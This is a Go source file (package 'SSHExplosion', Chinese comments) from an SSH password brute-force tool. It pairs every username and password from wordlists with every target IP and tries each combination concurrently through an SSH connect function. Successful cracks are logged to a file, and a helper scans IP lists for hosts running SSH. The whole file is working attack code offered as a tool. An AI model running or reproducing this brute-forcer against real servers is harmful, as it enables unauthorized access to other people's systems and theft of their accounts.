package SSHExplosion
import (
	"fmt"
	"sync"
	"log"
	"os"
)

// Pool goroutine Pool
type Pool struct {
	queue chan int
	wg    *sync.WaitGroup
}

// New 新建一个协程池
func New(size int) *Pool {
	if size <= 0 {
		size = 1
	}
	return &Pool{
		queue: make(chan int, size),
		wg:    &sync.WaitGroup{},
	}
}

// Add 新增一个执行
func (p *Pool) Add(delta int) {
	// delta为正数就添加
	for i := 0; i < delta; i++ {
		p.queue <- 1
	}
	// delta为负数就减少
	for i := 0; i > delta; i-- {
		<-p.queue
	}
	p.wg.Add(delta)
}

// Done 执行完成减一
func (p *Pool) Done() {
	<-p.queue
	p.wg.Done()
}

func (p *Pool) Wait() {
	p.wg.Wait()
}

type Task struct {
	ip       string
	user     string
	password string
 }

func SSHCoprogram(vul map[string]interface{}){
	readNameFile:=vul["readNameFile"].([]string)
	readPWDFile:=vul["readPWDFile"].([]string)
	host:=vul["ip"].([]string)
	nums:=vul["nums"].(int)


	var tasks []Task
	for _, user := range readNameFile {
	   for _, password := range readPWDFile {
		  for _, ip := range host {
			 tasks = append(tasks, Task{ip, user, password})
		  }
	   }
	}

	runTask(tasks,nums)

}


func runTask(tasks []Task, threads int) {
	var wg sync.WaitGroup
	taskCh := make(chan Task, threads*2)
	log.Println("开始爆破...")
	for i := 0; i < threads; i++ {
	   go func() {
		  for task := range taskCh {
			 success, _ := SshConnect(task.ip, task.user, task.password)
			 if success {
				// fmt.Printf("破解%v成功,用户名是%v,密码是%v\n", task.ip, task.user, task.password)
				file, err := os.OpenFile(`../data/log/sshLog`, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666)
				if err != nil {
					panic(err)
				}
				defer file.Close()
				file.WriteString("破解成功: ")
				file.WriteString(task.ip)
				file.WriteString(" ")
				file.WriteString(task.user)
				file.WriteString(" ")
				file.WriteString(task.password)
				file.WriteString("\n")

			 }else{
				fmt.Printf("破解%v失败,用户名是%v,密码是%v\n",task.ip, task.user, task.password)
			 }
			 wg.Done()
		  }
	   }()
	}
	for _, task := range tasks {
	   wg.Add(1)
	   taskCh <- task
	}
	wg.Wait()
	close(taskCh)
	log.Println("爆破结束")
 }



//检测开启ssh的IP
func checkAlivePool(ipList []string,nums int)(aliveIP []string){
	pool := New(nums)
	for _,ip:=range ipList{
		pool.Add(1)		
		go func(ip string) {
			v:=checkAlive(ip)
			if v{
				aliveIP=append(aliveIP,ip)
			}
			pool.Done()
		}(ip)
	}
	pool.Wait()
	return aliveIP
}